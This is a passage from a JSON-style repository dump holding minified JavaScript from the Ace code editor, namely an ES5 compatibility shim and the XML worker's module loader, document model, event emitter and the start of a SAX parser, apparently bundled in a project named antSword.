r.value=t[n],r}}Object.getOwnPropertyNames||(Object.getOwnPropertyNames=function(t){return Object.keys(t)});if(!Object.create){var b;Object.prototype.__proto__===null?b=function(){return{__proto__:null}}:b=function(){var e={};for(var t in e)e[t]=null;return e.constructor=e.hasOwnProperty=e.propertyIsEnumerable=e.isPrototypeOf=e.toLocaleString=e.toString=e.valueOf=e.__proto__=null,e},Object.create=function(t,n){var r;if(t===null)r=b();else{if(typeof t!=\"object\")throw new TypeError(\"typeof prototype[\"+typeof t+\"] != 'object'\");var i=function(){};i.prototype=t,r=new i,r.__proto__=t}return n!==void 0&&Object.defineProperties(r,n),r}}if(Object.defineProperty){var E=w({}),S=typeof document==\"undefined\"||w(document.createElement(\"div\"));if(!E||!S)var x=Object.defineProperty}if(!Object.defineProperty||x){var T=\"Property description must be an object: \",N=\"Object.defineProperty called on non-object: \",C=\"getters & setters can not be defined on this javascript engine\";Object.defineProperty=function(t,n,r){if(typeof t!=\"object\"&&typeof t!=\"function\"||t===null)throw new TypeError(N+t);if(typeof r!=\"object\"&&typeof r!=\"function\"||r===null)throw new TypeError(T+r);if(x)try{return x.call(Object,t,n,r)}catch(i){}if(f(r,\"value\"))if(d&&(h(t,n)||p(t,n))){var s=t.__proto__;t.__proto__=o,delete t[n],t[n]=r.value,t.__proto__=s}else t[n]=r.value;else{if(!d)throw new TypeError(C);f(r,\"get\")&&l(t,n,r.get),f(r,\"set\")&&c(t,n,r.set)}return t}}Object.defineProperties||(Object.defineProperties=function(t,n){for(var r in n)f(n,r)&&Object.defineProperty(t,r,n[r]);return t}),Object.seal||(Object.seal=function(t){return t}),Object.freeze||(Object.freeze=function(t){return t});try{Object.freeze(function(){})}catch(k){Object.freeze=function(t){return function(n){return typeof n==\"function\"?n:t(n)}}(Object.freeze)}Object.preventExtensions||(Object.preventExtensions=function(t){return t}),Object.isSealed||(Object.isSealed=function(t){return!1}),Object.isFrozen||(Object.isFrozen=function(t){return!1}),Object.isExtensible||(Object.isExtensible=function(t){if(Object(t)===t)throw new TypeError;var n=\"\";while(f(t,n))n+=\"?\";t[n]=!0;var r=f(t,n);return delete t[n],r});if(!Object.keys){var L=!0,A=[\"toString\",\"toLocaleString\",\"valueOf\",\"hasOwnProperty\",\"isPrototypeOf\",\"propertyIsEnumerable\",\"constructor\"],O=A.length;for(var M in{toString:null})L=!1;Object.keys=function I(e){if(typeof e!=\"object\"&&typeof e!=\"function\"||e===null)throw new TypeError(\"Object.keys called on a non-object\");var I=[];for(var t in e)f(e,t)&&I.push(t);if(L)for(var n=0,r=O;n<r;n++){var i=A[n];f(e,i)&&I.push(i)}return I}}Date.now||(Date.now=function(){return(new Date).getTime()});var _=\"\t\\n\u000b\\f\\r \\u00a0\\u1680\\u180e\\u2000\\u2001\\u2002\\u2003\\u2004\\u2005\\u2006\\u2007\\u2008\\u2009\\u200a\\u202f\\u205f\\u3000\\u2028\\u2029\\ufeff\";if(!String.prototype.trim||_.trim()){_=\"[\"+_+\"]\";var D=new RegExp(\"^\"+_+_+\"*\"),P=new RegExp(_+_+\"*$\");String.prototype.trim=function(){return String(this).replace(D,\"\").replace(P,\"\")}}var F=function(e){if(e==null)throw new TypeError(\"can't convert \"+e+\" to object\");return Object(e)}})"
  },
  {
    "path": "antSword/static/libs/ace/worker-xml.js",
    "content": "\"no use strict\";(function(e){function t(e,t){var n=e,r=\"\";while(n){var i=t[n];if(typeof i==\"string\")return i+r;if(i)return i.location.replace(/\\/*$/,\"/\")+(r||i.main||i.name);if(i===!1)return\"\";var s=n.lastIndexOf(\"/\");if(s===-1)break;r=n.substr(s)+r,n=n.slice(0,s)}return e}if(typeof e.window!=\"undefined\"&&e.document)return;if(e.require&&e.define)return;e.console=function(){var e=Array.prototype.slice.call(arguments,0);postMessage({type:\"log\",data:e})},e.console.error=e.console.warn=e.console.log=e.console.trace=e.console,e.window=e,e.ace=e,e.onerror=function(e,t,n,r,i){postMessage({type:\"error\",data:{message:e,data:i.data,file:t,line:n,col:r,stack:i.stack}})},e.normalizeModule=function(t,n){if(n.indexOf(\"!\")!==-1){var r=n.split(\"!\");return e.normalizeModule(t,r[0])+\"!\"+e.normalizeModule(t,r[1])}if(n.charAt(0)==\".\"){var i=t.split(\"/\").slice(0,-1).join(\"/\");n=(i?i+\"/\":\"\")+n;while(n.indexOf(\".\")!==-1&&s!=n){var s=n;n=n.replace(/^\\.\\//,\"\").replace(/\\/\\.\\//,\"/\").replace(/[^\\/]+\\/\\.\\.\\//,\"\")}}return n},e.require=function(r,i){i||(i=r,r=null);if(!i.charAt)throw new Error(\"worker.js require() accepts only (parentId, id) as arguments\");i=e.normalizeModule(r,i);var s=e.require.modules[i];if(s)return s.initialized||(s.initialized=!0,s.exports=s.factory().exports),s.exports;if(!e.require.tlns)return console.log(\"unable to load \"+i);var o=t(i,e.require.tlns);return o.slice(-3)!=\".js\"&&(o+=\".js\"),e.require.id=i,e.require.modules[i]={},importScripts(o),e.require(r,i)},e.require.modules={},e.require.tlns={},e.define=function(t,n,r){arguments.length==2?(r=n,typeof t!=\"string\"&&(n=t,t=e.require.id)):arguments.length==1&&(r=t,n=[],t=e.require.id);if(typeof r!=\"function\"){e.require.modules[t]={exports:r,initialized:!0};return}n.length||(n=[\"require\",\"exports\",\"module\"]);var i=function(n){return e.require(t,n)};e.require.modules[t]={exports:{},factory:function(){var e=this,t=r.apply(this,n.map(function(t){switch(t){case\"require\":return i;case\"exports\":return e.exports;case\"module\":return e;default:return i(t)}}));return t&&(e.exports=t),e}}},e.define.amd={},require.tlns={},e.initBaseUrls=function(t){for(var n in t)require.tlns[n]=t[n]},e.initSender=function(){var n=e.require(\"ace/lib/event_emitter\").EventEmitter,r=e.require(\"ace/lib/oop\"),i=function(){};return function(){r.implement(this,n),this.callback=function(e,t){postMessage({type:\"call\",id:t,data:e})},this.emit=function(e,t){postMessage({type:\"event\",name:e,data:t})}}.call(i.prototype),new i};var n=e.main=null,r=e.sender=null;e.onmessage=function(t){var i=t.data;if(i.event&&r)r._signal(i.event,i.data);else if(i.command)if(n[i.command])n[i.command].apply(n,i.args);else{if(!e[i.command])throw new Error(\"Unknown command:\"+i.command);e[i.command].apply(e,i.args)}else if(i.init){e.initBaseUrls(i.tlns),require(\"ace/lib/es5-shim\"),r=e.sender=e.initSender();var s=require(i.module)[i.classname];n=e.main=new s(r)}}})(this),ace.define(\"ace/lib/oop\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.inherits=function(e,t){e.super_=t,e.prototype=Object.create(t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}})},t.mixin=function(e,t){for(var n in t)e[n]=t[n];return e},t.implement=function(e,n){t.mixin(e,n)}}),ace.define(\"ace/lib/lang\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";t.last=function(e){return e[e.length-1]},t.stringReverse=function(e){return e.split(\"\").reverse().join(\"\")},t.stringRepeat=function(e,t){var n=\"\";while(t>0){t&1&&(n+=e);if(t>>=1)e+=e}return n};var r=/^\\s\\s*/,i=/\\s\\s*$/;t.stringTrimLeft=function(e){return e.replace(r,\"\")},t.stringTrimRight=function(e){return e.replace(i,\"\")},t.copyObject=function(e){var t={};for(var n in e)t[n]=e[n];return t},t.copyArray=function(e){var t=[];for(var n=0,r=e.length;n<r;n++)e[n]&&typeof e[n]==\"object\"?t[n]=this.copyObject(e[n]):t[n]=e[n];return t},t.deepCopy=function s(e){if(typeof e!=\"object\"||!e)return e;var t;if(Array.isArray(e)){t=[];for(var n=0;n<e.length;n++)t[n]=s(e[n]);return t}var r=e.constructor;if(r===RegExp)return e;t=r();for(var n in e)t[n]=s(e[n]);return t},t.arrayToMap=function(e){var t={};for(var n=0;n<e.length;n++)t[e[n]]=1;return t},t.createMap=function(e){var t=Object.create(null);for(var n in e)t[n]=e[n];return t},t.arrayRemove=function(e,t){for(var n=0;n<=e.length;n++)t===e[n]&&e.splice(n,1)},t.escapeRegExp=function(e){return e.replace(/([.*+?^${}()|[\\]\\/\\\\])/g,\"\\\\$1\")},t.escapeHTML=function(e){return e.replace(/&/g,\"&#38;\").replace(/\"/g,\"&#34;\").replace(/'/g,\"&#39;\").replace(/</g,\"&#60;\")},t.getMatchOffsets=function(e,t){var n=[];return e.replace(t,function(e){n.push({offset:arguments[arguments.length-2],length:e.length})}),n},t.deferredCall=function(e){var t=null,n=function(){t=null,e()},r=function(e){return r.cancel(),t=setTimeout(n,e||0),r};return r.schedule=r,r.call=function(){return this.cancel(),e(),r},r.cancel=function(){return clearTimeout(t),t=null,r},r.isPending=function(){return t},r},t.delayedCall=function(e,t){var n=null,r=function(){n=null,e()},i=function(e){n==null&&(n=setTimeout(r,e||t))};return i.delay=function(e){n&&clearTimeout(n),n=setTimeout(r,e||t)},i.schedule=i,i.call=function(){this.cancel(),e()},i.cancel=function(){n&&clearTimeout(n),n=null},i.isPending=function(){return n},i}}),ace.define(\"ace/range\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r=function(e,t){return e.row-t.row||e.column-t.column},i=function(e,t,n,r){this.start={row:e,column:t},this.end={row:n,column:r}};(function(){this.isEqual=function(e){return this.start.row===e.start.row&&this.end.row===e.end.row&&this.start.column===e.start.column&&this.end.column===e.end.column},this.toString=function(){return\"Range: [\"+this.start.row+\"/\"+this.start.column+\"] -> [\"+this.end.row+\"/\"+this.end.column+\"]\"},this.contains=function(e,t){return this.compare(e,t)==0},this.compareRange=function(e){var t,n=e.end,r=e.start;return t=this.compare(n.row,n.column),t==1?(t=this.compare(r.row,r.column),t==1?2:t==0?1:0):t==-1?-2:(t=this.compare(r.row,r.column),t==-1?-1:t==1?42:0)},this.comparePoint=function(e){return this.compare(e.row,e.column)},this.containsRange=function(e){return this.comparePoint(e.start)==0&&this.comparePoint(e.end)==0},this.intersects=function(e){var t=this.compareRange(e);return t==-1||t==0||t==1},this.isEnd=function(e,t){return this.end.row==e&&this.end.column==t},this.isStart=function(e,t){return this.start.row==e&&this.start.column==t},this.setStart=function(e,t){typeof e==\"object\"?(this.start.column=e.column,this.start.row=e.row):(this.start.row=e,this.start.column=t)},this.setEnd=function(e,t){typeof e==\"object\"?(this.end.column=e.column,this.end.row=e.row):(this.end.row=e,this.end.column=t)},this.inside=function(e,t){return this.compare(e,t)==0?this.isEnd(e,t)||this.isStart(e,t)?!1:!0:!1},this.insideStart=function(e,t){return this.compare(e,t)==0?this.isEnd(e,t)?!1:!0:!1},this.insideEnd=function(e,t){return this.compare(e,t)==0?this.isStart(e,t)?!1:!0:!1},this.compare=function(e,t){return!this.isMultiLine()&&e===this.start.row?t<this.start.column?-1:t>this.end.column?1:0:e<this.start.row?-1:e>this.end.row?1:this.start.row===e?t>=this.start.column?0:-1:this.end.row===e?t<=this.end.column?0:1:0},this.compareStart=function(e,t){return this.start.row==e&&this.start.column==t?-1:this.compare(e,t)},this.compareEnd=function(e,t){return this.end.row==e&&this.end.column==t?1:this.compare(e,t)},this.compareInside=function(e,t){return this.end.row==e&&this.end.column==t?1:this.start.row==e&&this.start.column==t?-1:this.compare(e,t)},this.clipRows=function(e,t){if(this.end.row>t)var n={row:t+1,column:0};else if(this.end.row<e)var n={row:e,column:0};if(this.start.row>t)var r={row:t+1,column:0};else if(this.start.row<e)var r={row:e,column:0};return i.fromPoints(r||this.start,n||this.end)},this.extend=function(e,t){var n=this.compare(e,t);if(n==0)return this;if(n==-1)var r={row:e,column:t};else var s={row:e,column:t};return i.fromPoints(r||this.start,s||this.end)},this.isEmpty=function(){return this.start.row===this.end.row&&this.start.column===this.end.column},this.isMultiLine=function(){return this.start.row!==this.end.row},this.clone=function(){return i.fromPoints(this.start,this.end)},this.collapseRows=function(){return this.end.column==0?new i(this.start.row,0,Math.max(this.start.row,this.end.row-1),0):new i(this.start.row,0,this.end.row,0)},this.toScreenRange=function(e){var t=e.documentToScreenPosition(this.start),n=e.documentToScreenPosition(this.end);return new i(t.row,t.column,n.row,n.column)},this.moveBy=function(e,t){this.start.row+=e,this.start.column+=t,this.end.row+=e,this.end.column+=t}}).call(i.prototype),i.fromPoints=function(e,t){return new i(e.row,e.column,t.row,t.column)},i.comparePoints=r,i.comparePoints=function(e,t){return e.row-t.row||e.column-t.column},t.Range=i}),ace.define(\"ace/apply_delta\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";function r(e,t){throw console.log(\"Invalid Delta:\",e),\"Invalid Delta: \"+t}function i(e,t){return t.row>=0&&t.row<e.length&&t.column>=0&&t.column<=e[t.row].length}function s(e,t){t.action!=\"insert\"&&t.action!=\"remove\"&&r(t,\"delta.action must be 'insert' or 'remove'\"),t.lines instanceof Array||r(t,\"delta.lines must be an Array\"),(!t.start||!t.end)&&r(t,\"delta.start/end must be an present\");var n=t.start;i(e,t.start)||r(t,\"delta.start must be contained in document\");var s=t.end;t.action==\"remove\"&&!i(e,s)&&r(t,\"delta.end must contained in document for 'remove' actions\");var o=s.row-n.row,u=s.column-(o==0?n.column:0);(o!=t.lines.length-1||t.lines[o].length!=u)&&r(t,\"delta.range must match delta lines\")}t.applyDelta=function(e,t,n){var r=t.start.row,i=t.start.column,s=e[r]||\"\";switch(t.action){case\"insert\":var o=t.lines;if(o.length===1)e[r]=s.substring(0,i)+t.lines[0]+s.substring(i);else{var u=[r,1].concat(t.lines);e.splice.apply(e,u),e[r]=s.substring(0,i)+e[r],e[r+t.lines.length-1]+=s.substring(i)}break;case\"remove\":var a=t.end.column,f=t.end.row;r===f?e[r]=s.substring(0,i)+s.substring(a):e.splice(r,f-r+1,s.substring(0,i)+e[f].substring(a))}}}),ace.define(\"ace/lib/event_emitter\",[\"require\",\"exports\",\"module\"],function(e,t,n){\"use strict\";var r={},i=function(){this.propagationStopped=!0},s=function(){this.defaultPrevented=!0};r._emit=r._dispatchEvent=function(e,t){this._eventRegistry||(this._eventRegistry={}),this._defaultHandlers||(this._defaultHandlers={});var n=this._eventRegistry[e]||[],r=this._defaultHandlers[e];if(!n.length&&!r)return;if(typeof t!=\"object\"||!t)t={};t.type||(t.type=e),t.stopPropagation||(t.stopPropagation=i),t.preventDefault||(t.preventDefault=s),n=n.slice();for(var o=0;o<n.length;o++){n[o](t,this);if(t.propagationStopped)break}if(r&&!t.defaultPrevented)return r(t,this)},r._signal=function(e,t){var n=(this._eventRegistry||{})[e];if(!n)return;n=n.slice();for(var r=0;r<n.length;r++)n[r](t,this)},r.once=function(e,t){var n=this;t&&this.addEventListener(e,function r(){n.removeEventListener(e,r),t.apply(null,arguments)})},r.setDefaultHandler=function(e,t){var n=this._defaultHandlers;n||(n=this._defaultHandlers={_disabled_:{}});if(n[e]){var r=n[e],i=n._disabled_[e];i||(n._disabled_[e]=i=[]),i.push(r);var s=i.indexOf(t);s!=-1&&i.splice(s,1)}n[e]=t},r.removeDefaultHandler=function(e,t){var n=this._defaultHandlers;if(!n)return;var r=n._disabled_[e];if(n[e]==t){var i=n[e];r&&this.setDefaultHandler(e,r.pop())}else if(r){var s=r.indexOf(t);s!=-1&&r.splice(s,1)}},r.on=r.addEventListener=function(e,t,n){this._eventRegistry=this._eventRegistry||{};var r=this._eventRegistry[e];return r||(r=this._eventRegistry[e]=[]),r.indexOf(t)==-1&&r[n?\"unshift\":\"push\"](t),t},r.off=r.removeListener=r.removeEventListener=function(e,t){this._eventRegistry=this._eventRegistry||{};var n=this._eventRegistry[e];if(!n)return;var r=n.indexOf(t);r!==-1&&n.splice(r,1)},r.removeAllListeners=function(e){this._eventRegistry&&(this._eventRegistry[e]=[])},t.EventEmitter=r}),ace.define(\"ace/anchor\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/event_emitter\"],function(e,t,n){\"use strict\";var r=e(\"./lib/oop\"),i=e(\"./lib/event_emitter\").EventEmitter,s=t.Anchor=function(e,t,n){this.$onChange=this.onChange.bind(this),this.attach(e),typeof n==\"undefined\"?this.setPosition(t.row,t.column):this.setPosition(t,n)};(function(){function e(e,t,n){var r=n?e.column<=t.column:e.column<t.column;return e.row<t.row||e.row==t.row&&r}function t(t,n,r){var i=t.action==\"insert\",s=(i?1:-1)*(t.end.row-t.start.row),o=(i?1:-1)*(t.end.column-t.start.column),u=t.start,a=i?u:t.end;return e(n,u,r)?{row:n.row,column:n.column}:e(a,n,!r)?{row:n.row+s,column:n.column+(n.row==a.row?o:0)}:{row:u.row,column:u.column}}r.implement(this,i),this.getPosition=function(){return this.$clipPositionToDocument(this.row,this.column)},this.getDocument=function(){return this.document},this.$insertRight=!1,this.onChange=function(e){if(e.start.row==e.end.row&&e.start.row!=this.row)return;if(e.start.row>this.row)return;var n=t(e,{row:this.row,column:this.column},this.$insertRight);this.setPosition(n.row,n.column,!0)},this.setPosition=function(e,t,n){var r;n?r={row:e,column:t}:r=this.$clipPositionToDocument(e,t);if(this.row==r.row&&this.column==r.column)return;var i={row:this.row,column:this.column};this.row=r.row,this.column=r.column,this._signal(\"change\",{old:i,value:r})},this.detach=function(){this.document.removeEventListener(\"change\",this.$onChange)},this.attach=function(e){this.document=e||this.document,this.document.on(\"change\",this.$onChange)},this.$clipPositionToDocument=function(e,t){var n={};return e>=this.document.getLength()?(n.row=Math.max(0,this.document.getLength()-1),n.column=this.document.getLine(n.row).length):e<0?(n.row=0,n.column=0):(n.row=e,n.column=Math.min(this.document.getLine(n.row).length,Math.max(0,t))),t<0&&(n.column=0),n}}).call(s.prototype)}),ace.define(\"ace/document\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/apply_delta\",\"ace/lib/event_emitter\",\"ace/range\",\"ace/anchor\"],function(e,t,n){\"use strict\";var r=e(\"./lib/oop\"),i=e(\"./apply_delta\").applyDelta,s=e(\"./lib/event_emitter\").EventEmitter,o=e(\"./range\").Range,u=e(\"./anchor\").Anchor,a=function(e){this.$lines=[\"\"],e.length===0?this.$lines=[\"\"]:Array.isArray(e)?this.insertMergedLines({row:0,column:0},e):this.insert({row:0,column:0},e)};(function(){r.implement(this,s),this.setValue=function(e){var t=this.getLength()-1;this.remove(new o(0,0,t,this.getLine(t).length)),this.insert({row:0,column:0},e)},this.getValue=function(){return this.getAllLines().join(this.getNewLineCharacter())},this.createAnchor=function(e,t){return new u(this,e,t)},\"aaa\".split(/a/).length===0?this.$split=function(e){return e.replace(/\\r\\n|\\r/g,\"\\n\").split(\"\\n\")}:this.$split=function(e){return e.split(/\\r\\n|\\r|\\n/)},this.$detectNewLine=function(e){var t=e.match(/^.*?(\\r\\n|\\r|\\n)/m);this.$autoNewLine=t?t[1]:\"\\n\",this._signal(\"changeNewLineMode\")},this.getNewLineCharacter=function(){switch(this.$newLineMode){case\"windows\":return\"\\r\\n\";case\"unix\":return\"\\n\";default:return this.$autoNewLine||\"\\n\"}},this.$autoNewLine=\"\",this.$newLineMode=\"auto\",this.setNewLineMode=function(e){if(this.$newLineMode===e)return;this.$newLineMode=e,this._signal(\"changeNewLineMode\")},this.getNewLineMode=function(){return this.$newLineMode},this.isNewLine=function(e){return e==\"\\r\\n\"||e==\"\\r\"||e==\"\\n\"},this.getLine=function(e){return this.$lines[e]||\"\"},this.getLines=function(e,t){return this.$lines.slice(e,t+1)},this.getAllLines=function(){return this.getLines(0,this.getLength())},this.getLength=function(){return this.$lines.length},this.getTextRange=function(e){return this.getLinesForRange(e).join(this.getNewLineCharacter())},this.getLinesForRange=function(e){var t;if(e.start.row===e.end.row)t=[this.getLine(e.start.row).substring(e.start.column,e.end.column)];else{t=this.getLines(e.start.row,e.end.row),t[0]=(t[0]||\"\").substring(e.start.column);var n=t.length-1;e.end.row-e.start.row==n&&(t[n]=t[n].substring(0,e.end.column))}return t},this.insertLines=function(e,t){return console.warn(\"Use of document.insertLines is deprecated. Use the insertFullLines method instead.\"),this.insertFullLines(e,t)},this.removeLines=function(e,t){return console.warn(\"Use of document.removeLines is deprecated. Use the removeFullLines method instead.\"),this.removeFullLines(e,t)},this.insertNewLine=function(e){return console.warn(\"Use of document.insertNewLine is deprecated. Use insertMergedLines(position, ['', '']) instead.\"),this.insertMergedLines(e,[\"\",\"\"])},this.insert=function(e,t){return this.getLength()<=1&&this.$detectNewLine(t),this.insertMergedLines(e,this.$split(t))},this.insertInLine=function(e,t){var n=this.clippedPos(e.row,e.column),r=this.pos(e.row,e.column+t.length);return this.applyDelta({start:n,end:r,action:\"insert\",lines:[t]},!0),this.clonePos(r)},this.clippedPos=function(e,t){var n=this.getLength();e===undefined?e=n:e<0?e=0:e>=n&&(e=n-1,t=undefined);var r=this.getLine(e);return t==undefined&&(t=r.length),t=Math.min(Math.max(t,0),r.length),{row:e,column:t}},this.clonePos=function(e){return{row:e.row,column:e.column}},this.pos=function(e,t){return{row:e,column:t}},this.$clipPosition=function(e){var t=this.getLength();return e.row>=t?(e.row=Math.max(0,t-1),e.column=this.getLine(t-1).length):(e.row=Math.max(0,e.row),e.column=Math.min(Math.max(e.column,0),this.getLine(e.row).length)),e},this.insertFullLines=function(e,t){e=Math.min(Math.max(e,0),this.getLength());var n=0;e<this.getLength()?(t=t.concat([\"\"]),n=0):(t=[\"\"].concat(t),e--,n=this.$lines[e].length),this.insertMergedLines({row:e,column:n},t)},this.insertMergedLines=function(e,t){var n=this.clippedPos(e.row,e.column),r={row:n.row+t.length-1,column:(t.length==1?n.column:0)+t[t.length-1].length};return this.applyDelta({start:n,end:r,action:\"insert\",lines:t}),this.clonePos(r)},this.remove=function(e){var t=this.clippedPos(e.start.row,e.start.column),n=this.clippedPos(e.end.row,e.end.column);return this.applyDelta({start:t,end:n,action:\"remove\",lines:this.getLinesForRange({start:t,end:n})}),this.clonePos(t)},this.removeInLine=function(e,t,n){var r=this.clippedPos(e,t),i=this.clippedPos(e,n);return this.applyDelta({start:r,end:i,action:\"remove\",lines:this.getLinesForRange({start:r,end:i})},!0),this.clonePos(r)},this.removeFullLines=function(e,t){e=Math.min(Math.max(0,e),this.getLength()-1),t=Math.min(Math.max(0,t),this.getLength()-1);var n=t==this.getLength()-1&&e>0,r=t<this.getLength()-1,i=n?e-1:e,s=n?this.getLine(i).length:0,u=r?t+1:t,a=r?0:this.getLine(u).length,f=new o(i,s,u,a),l=this.$lines.slice(e,t+1);return this.applyDelta({start:f.start,end:f.end,action:\"remove\",lines:this.getLinesForRange(f)}),l},this.removeNewLine=function(e){e<this.getLength()-1&&e>=0&&this.applyDelta({start:this.pos(e,this.getLine(e).length),end:this.pos(e+1,0),action:\"remove\",lines:[\"\",\"\"]})},this.replace=function(e,t){!e instanceof o&&(e=o.fromPoints(e.start,e.end));if(t.length===0&&e.isEmpty())return e.start;if(t==this.getTextRange(e))return e.end;this.remove(e);var n;return t?n=this.insert(e.start,t):n=e.start,n},this.applyDeltas=function(e){for(var t=0;t<e.length;t++)this.applyDelta(e[t])},this.revertDeltas=function(e){for(var t=e.length-1;t>=0;t--)this.revertDelta(e[t])},this.applyDelta=function(e,t){var n=e.action==\"insert\";if(n?e.lines.length<=1&&!e.lines[0]:!o.comparePoints(e.start,e.end))return;n&&e.lines.length>2e4&&this.$splitAndapplyLargeDelta(e,2e4),i(this.$lines,e,t),this._signal(\"change\",e)},this.$splitAndapplyLargeDelta=function(e,t){var n=e.lines,r=n.length,i=e.start.row,s=e.start.column,o=0,u=0;do{o=u,u+=t-1;var a=n.slice(o,u);if(u>r){e.lines=a,e.start.row=i+o,e.start.column=s;break}a.push(\"\"),this.applyDelta({start:this.pos(i+o,s),end:this.pos(i+u,s=0),action:e.action,lines:a},!0)}while(!0)},this.revertDelta=function(e){this.applyDelta({start:this.clonePos(e.start),end:this.clonePos(e.end),action:e.action==\"insert\"?\"remove\":\"insert\",lines:e.lines.slice()})},this.indexToPosition=function(e,t){var n=this.$lines||this.getAllLines(),r=this.getNewLineCharacter().length;for(var i=t||0,s=n.length;i<s;i++){e-=n[i].length+r;if(e<0)return{row:i,column:e+n[i].length+r}}return{row:s-1,column:n[s-1].length}},this.positionToIndex=function(e,t){var n=this.$lines||this.getAllLines(),r=this.getNewLineCharacter().length,i=0,s=Math.min(e.row,n.length);for(var o=t||0;o<s;++o)i+=n[o].length+r;return i+e.column}}).call(a.prototype),t.Document=a}),ace.define(\"ace/worker/mirror\",[\"require\",\"exports\",\"module\",\"ace/range\",\"ace/document\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=e(\"../document\").Document,s=e(\"../lib/lang\"),o=t.Mirror=function(e){this.sender=e;var t=this.doc=new i(\"\"),n=this.deferredUpdate=s.delayedCall(this.onUpdate.bind(this)),r=this;e.on(\"change\",function(e){var i=e.data;if(i[0].start)t.applyDeltas(i);else for(var s=0;s<i.length;s+=2){if(Array.isArray(i[s+1]))var o={action:\"insert\",start:i[s],lines:i[s+1]};else var o={action:\"remove\",start:i[s],end:i[s+1]};t.applyDelta(o,!0)}if(r.$timeout)return n.schedule(r.$timeout);r.onUpdate()})};(function(){this.$timeout=500,this.setTimeout=function(e){this.$timeout=e},this.setValue=function(e){this.doc.setValue(e),this.deferredUpdate.schedule(this.$timeout)},this.getValue=function(e){this.sender.callback(this.doc.getValue(),e)},this.onUpdate=function(){},this.isPending=function(){return this.deferredUpdate.isPending()}}).call(o.prototype)}),ace.define(\"ace/mode/xml/sax\",[\"require\",\"exports\",\"module\"],function(e,t,n){function d(){}function v(e,t,n,r,i){function s(e){if(e>65535){e-=65536;var t=55296+(e>>10),n=56320+(e&1023);return String.fromCharCode(t,n)}return String.fromCharCode(e)}function o(e){var t=e.slice(1,-1);return t in n?n[t]:t.charAt(0)===\"#\"?s(parseInt(t.substr(1).replace(\"x\",\"0x\"))):(i.error(\"entity not found:\"+e),e)}function u(t){var n=e.substring(v,t).replace(/&#?\\w+;/g,o);h&&a(v),r.characters(n,0,t-v),v=t}function a(t,n){while(t>=l&&(n=c.exec(e)))f=n.index,l=f+n[0].length,h.lineNumber++;h.columnNumber=t-f+1}var f=0,l=0,c=/.+(?:\\r\\n?|\\n)|.*$/g,h=r.locator,p=[{currentNSMap:t}],d={},v=0;for(;;){var E=e.indexOf(\"<\",v);if(E<0){if(!e.substr(v).match(/^\\s*$/)){var N=r.document,C=N.createTextNode(e.substr(v));N.appendChild(C),r.currentElement=C}return}E>v&&u(E);switch(e.charAt(E+1)){case\"/\":var k=e.indexOf(\">\",E+3),L=e.substring(E+2,k),A;if(!(p.length>1)){i.fatalError(\"end tag name not found for: \"+L);break}A=p.pop();var O=A.localNSMap;A.tagName!=L&&i.fatalError(\"end tag name: \"+L+\" does not match the current start tagName: \"+A.tagName),r.endElement(A.uri,A.localName,L);if(O)for(var M in O)r.endPrefixMapping(M);k++;break;case\"?\":h&&a(E),k=x(e,E,r);break;case\"!\":h&&a(E),k=S(e,E,r,i);break;default:try{h&&a(E);var _=new T,k=g(e,E,_,o,i),D=_.length;if(D&&h){var P=m(h,{});for(var E=0;E<D;E++){var H=_[E];a(H.offset),H.offset=m(h,{})}m(P,h)}!_.closed&&w(e,k,_.tagName,d)&&(_.closed=!0,n.nbsp||i.warning(\"unclosed xml attribute\")),y(_,r,p),_.uri===\"http://www.w3.org/1999/xhtml\"&&!_.closed?k=b(e,k,_.tagName,o,r):k++}catch(B){i.error(\"element parse error: \"+B),k=-1}}k<0?u(E+1):v=k}}function m(e,t){return t.lineNumber=e.lineNumber,t.columnNumber=e.columnNumber,t}function g(e,t,n,r,i){var s,d,v=++t,m=o;for(;;){var g=e.charAt(v);switch(g){case\"=\":if(m===u)s=e.slice(t,v),m=f;else{if(m!==a)throw new Error(\"attribute equal must after attrName\");m=f}break;case\"'\":case'\"':if(m===f){t=v+1,v=e.indexOf(g,t);if(!(v>0))throw new Error(\"attribute value no end '\"+g+\"' match\");d=e.slice(t,v).replace(/&#?\\w+;/g,r),n.add(s,d,t-1),m=c}else{if(m!=l)throw new Error('attribute value must after \"=\"');d=e.slice(t,v).replace(/&#?\\w+;/g,r),n.add(s,d,t),i.warning('attribute \"'+s+'\" missed start quot('+g+\")!!\"),t=v+1,m=c}break;case\"/\":switch(m){case o:n.setTagName(e.slice(t,v));case c:case h:case p:m=p,n.closed=!0;case l:case u:case a:break;default:throw new Error(\"attribute invalid close char('/')\")}break;case\"\":i.error(\"unexpected end of input\");case\">\":switch(m){case o:n.setTagName(e.slice(t,v));case c:case h:case p:break;case l:case u:d=e.slice(t,v),d.slice(-1)===\"/\"&&(n.closed=!0,d=d.slice(0,-1));case a:m===a&&(d=s),m==l?(i.warning('attribute \"'+d+'\" missed quot(\")!!'),n.add(s,d.replace(/&#?\\w+;/g,r),t)):(i.warning('attribute \"'+d+'\" missed value!! \"'+d+'\" instead!!'),n.add(d,d,t));break;case f:throw new Error(\"attribute value missed!!\")}return v;case\"\\u0080\":g=\" \";default:if(g<=\" \")switch(m){case o:n.setTagName(e.slice(t,v)),m=h;break;case u:s=e.slice(t,v),m=a;break;case l:var d=e.slice(t,v).replace(/&#?\\w+;/g,r);i.warning('attribute \"'+d+'\" missed quot(\")!!'),n.add(s,d,t);case c:m=h}else switch(m){case a:i.warning('attribute \"'+s+'\" missed value!! \"'+s+'\" instead!!'),n.add(s,s,t),t=v,m=u;break;case c:i.warning('attribute space is required\"'+s+'\"!!');case h:m=u,t=v;break;case f:m=l,t=v;break;case p:throw new Error(\"elements closed character '/' and '>' must be connected to\")}}v++}}function y(e,t,n){var r=e.tagName,i=null,s=n[n.length-1].currentNSMap,o=e.length;while(o--){var u=e[o],a=u.qName,f=u.value,l=a.indexOf(\":\");if(l>0)var c=u.prefix=a.slice(0,l),h=a.slice(l+1),p=c===\"xmlns\"&&h;else 